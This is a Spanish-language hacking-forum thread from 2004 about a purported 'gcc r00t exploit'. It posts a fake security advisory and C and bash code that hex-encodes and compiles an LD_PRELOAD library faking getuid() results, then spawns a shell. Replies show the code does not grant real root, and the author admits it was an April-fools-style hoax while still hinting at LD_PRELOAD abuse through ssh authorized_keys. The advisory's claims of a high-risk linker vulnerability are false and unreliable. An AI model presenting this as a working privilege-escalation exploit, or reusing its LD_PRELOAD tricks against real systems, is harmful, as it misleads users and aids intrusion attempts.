elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 12:40  


Tema destacado: Últimos eventos sobre seguridad/inseguridad

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  gcc r00t exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: gcc r00t exploit  (Leído 1,252 veces)
shy

Desconectado Desconectado

Mensajes: 144


¡Amo YaBB SE!


Ver Perfil
gcc r00t exploit
« en: 31 Diciembre 2004, 10:09 »

pues algo rraro akurres kon la shellcode ..da rot pero no da root xDDD

Código:
/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST]® - Advisory #01 - 28/12/04
--------------------------------------------------------
Program: ld - The GNU linker
Homepage: http://gcc.gnu.org
Vulnerable Versions: GNU gcc 3.4.3 and prior
Risk: High!!
Impact: Unchecked lenght fields
---------------------------------------------------------

- Description
---------------------------------------------------------
$ LD_PRELOAD=/`perl -e 'print "A"x2000'`/ passwd
Value starts and ends with a slash and contains about 1200 characters.
LD_PRELOAD doesn't ignore setuid executables, like this one.
Unchecked lenght fields.

setuid(0);
setreuid(0,0);
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }

- Tested
---------------------------------------------------------
I have done minimal testing on this.
Slackware 10.0

- Explotation
---------------------------------------------------------
$gcc ld_xpl_nst.c -o ld_xp_nst
$./ld_xp_nst
sh-3.00# id
uid=0(root) gid=0(root) groups=100(users)
sh-3.00#

This will give you a root shell

- Solutions
--------------------------------------------------------
Not Yet or i don't know xD

- References
--------------------------------------------------------
http://neosecurityteam.org/Advisories/Advisory-01.txt


- Credits
-------------------------------------------------
Discovered by HaCkZaTaN <hck_zatan@hotmail.com>

[N]eo [S]ecurity [T]eam [NST]® - http://neosecurityteam.org/

Got Questions? http://neosecurityteam.org/foros/
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char NstCode[] =
"\x69\x6e\x74\x20\x67\x65\x74\x75\x69"
"\x64\x28\x29\x20\x7b\x20\x72\x65\x74"
"\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a"
"\x69\x6e\x74\x20\x67\x65\x74\x65\x75"
"\x69\x64\x28\x29\x20\x7b\x20\x72\x65"
"\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d"
"\x0a\x69\x6e\x74\x20\x67\x65\x74\x67"
"\x69\x64\x28\x29\x20\x7b\x20\x72\x65"
"\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d"
"\x0a\x69\x6e\x74\x20\x67\x65\x74\x65"
"\x67\x69\x64\x28\x29\x20\x7b\x20\x72"
"\x65\x74\x75\x72\x6e\x20\x30\x3b\x20"
"\x7d\x0a\x0/bin/sh";

void FG(int Opt, int Colour);
void BG(int Colour);
void RC();

int main()
{
FILE *Nst_C;
int x, y;
for(x = 1; x < 2; x++)
for(y = 37; y < 38; y++) {
FG(x,y);
printf("[N]eo [S]ecurity [T]eam [N][S][T]!\n");
}
RC();
Nst_C=fopen("/tmp/nst.c","w");
fprintf(Nst_C,"%s",NstCode);
fclose(Nst_C);
system("gcc -shared -o /tmp/nst.nfo /tmp/nst.c;rm -f /tmp/nst.c");
system("LD_PRELOAD=/tmp/nst.nfo /bin/sh");
for(x = 1; x < 2; x++)
for(y = 37; y < 38; y++) {
FG(x,y);
printf("[N]eo [S]ecurity [T]eam [N][S][T]!\n");
}
RC();
return 0;
}

void FG(int Opt, int Colour) {
printf("\033[%d;%dm", Opt, Colour);
}

void RC() {
printf("\033[0;m");
}

/* Bash Code:

#! /bin/bash
echo -e "\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65" >/tmp/nst.c
echo -e "\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74" >/tmp/nst.c
echo -e "\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30" >/tmp/nst.c
echo -e "\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20" >/tmp/nst.c
echo -e "\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74" >/tmp/nst.c
echo -e "\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75" >/tmp/nst.c
echo -e "\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh">/tmp/nst.c

sleep 1
gcc -shared -o /tmp/nst.nfo /tmp/nst.c
rm -rf /tmp/nst.c
sleep 4
echo -e "\n"
export LD_LIBRARY_PATH=/tmp
LD_PRELOAD=/tmp/nst.nfo /bin/sh
*/
En línea
Ambolius


Desconectado Desconectado

Mensajes: 1.338


/España/Guadalajara


Ver Perfil
Re: gcc r00t exploit
« Respuesta #1 en: 31 Diciembre 2004, 10:24 »

Citar
sh-3.00# id
uid=0(root) gid=0(root) groups=100(users)
sh-3.00#

A que te refieres con que no da root?
En línea

Un informático a otro:
- ¿Cuantos eran los Dálmatas?
- 101.
- Por el culo te la hinco.
shy

Desconectado Desconectado

Mensajes: 144


¡Amo YaBB SE!


Ver Perfil
Re: gcc r00t exploit
« Respuesta #2 en: 31 Diciembre 2004, 12:12 »

jejeje si si si lo se pero haoa has cat /etc/shadow  yveras a loke me rrefiero ... xDDDDla shellcode no es un setuid(0);

prueba tambien cd /root y veras
En línea
HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: gcc r00t exploit
« Respuesta #3 en: 1 Enero 2005, 07:33 »

Problema Solucionado el Exploit ese es pero la cosa es que debes de tener cuenta en la shell.

Osea
que debes de tener una cuenta y tener los keys de ssh
/home/h4ck/.ssh/authorized_keys
Una vez los tengas tienes que hacer
environment="LD_PRELOAD=/tmp/nst.nfo"[aqui tu llave publica de ssh]

Listo.

Salu2!!

PD: Sorry por las inconveniencias.
En línea

DoctrinDark

Desconectado Desconectado

Mensajes: 101



Ver Perfil
Re: gcc r00t exploit
« Respuesta #4 en: 1 Enero 2005, 07:52 »

No te lo cres ni tu que eso sea un exploit, vaya broma.
Ademas, si fuese un exploit (que no lo es) seria de glibc (ld.so) y no gcc.

DD-
En línea

Smells Like Teens Spirit
HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: gcc r00t exploit
« Respuesta #5 en: 1 Enero 2005, 09:19 »

No me creo que es un exploit? mm pues si sorry ;)

Quien dijo que era del Gcc ;)

Arriba dice

Program: ld - The GNU linker

Y lo mejor de todo nos da root.

Salu2!!
En línea

ELPOCHO

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: gcc r00t exploit
« Respuesta #6 en: 1 Enero 2005, 15:53 »

¿Qué necesidad tenés de poner todos los caracteres en hexadecimal, cuando es un simple codigo en C? (que encima de todo, mas simple no puede ser..., y hasta lo tenés mal hecho)

¿Para qué hacés toda la "demostración con colores" de tu grupito de "hackers"?

Solo una palabra: lammer

pd: además, el código en Bash está mal hecho.. a echo lo llamás con -n (para que no ponga '\n' al final de la string), y te falta un '>' al redireccionar la stdout.. pero bue
En línea
HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: gcc r00t exploit
« Respuesta #7 en: 1 Enero 2005, 16:17 »

Deja de ser tan resentido. ;)
Lo hize asi por que me gusta hacerlo a mi manera OK.
Y un poco al Respeto nadie te ah dicho nada ni nada no me llames Lammer.

Lo de colores es a mi gusto ademas si no te gusta entonces para que lo probaste?
El codigo bash tiene un error pero no importa por que el hace el trabajo dicho ;)

Salu2!!

PD: Un poco mas al respeto.
En línea

ELPOCHO

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: gcc r00t exploit
« Respuesta #8 en: 2 Enero 2005, 02:30 »

bue perdón... pero no probé el código en C, con leerlo me doy cuenta....
pero no te cuesta nada dar directamente el código fuente... como hacen todos....
En línea
-EvilBuffer-

Desconectado Desconectado

Mensajes: 112


/(bb|[^b]{2})/


Ver Perfil WWW
Re: gcc r00t exploit
« Respuesta #9 en: 5 Enero 2005, 06:50 »

jajaja este exploit es una basura
si lo que quieren es que cuando escriban id salga uid=0(root) gid=0(root) groups=100(users)  solo escriban un alias:

Código:
alias id='echo uid=0\(root\) gid=0\(root\) groups=100\(users\)'
y veran que son r00ts jajaja

luego den unalias id para volver a la realidad ok
En línea

<< RTFM && STFW >>
HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: gcc r00t exploit
« Respuesta #10 en: 5 Enero 2005, 13:03 »

Se supone duh!!!!!!!!
Si miran la Fecha del Xploit se daran cuenta para que lo saque;)
Idea la saque de CrashCool.com y RazaMexicana.org
-=Inocentes=- << es un dia muy Vakano, No!!?

Pero lo mio es un Bug en el LD ((ES FAKE)) pero es un BUG.

Salu2!!
Ademas si eres avispado y modificas tu llave publica y le haces un Eviroment miraras el USO que le puedes sacar.
/bin/su

Solo te digo eso intenten y veran los results

arriba estan las fallas y todo.
« Última modificación: 5 Enero 2005, 13:05 por HaCkZaTaN » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines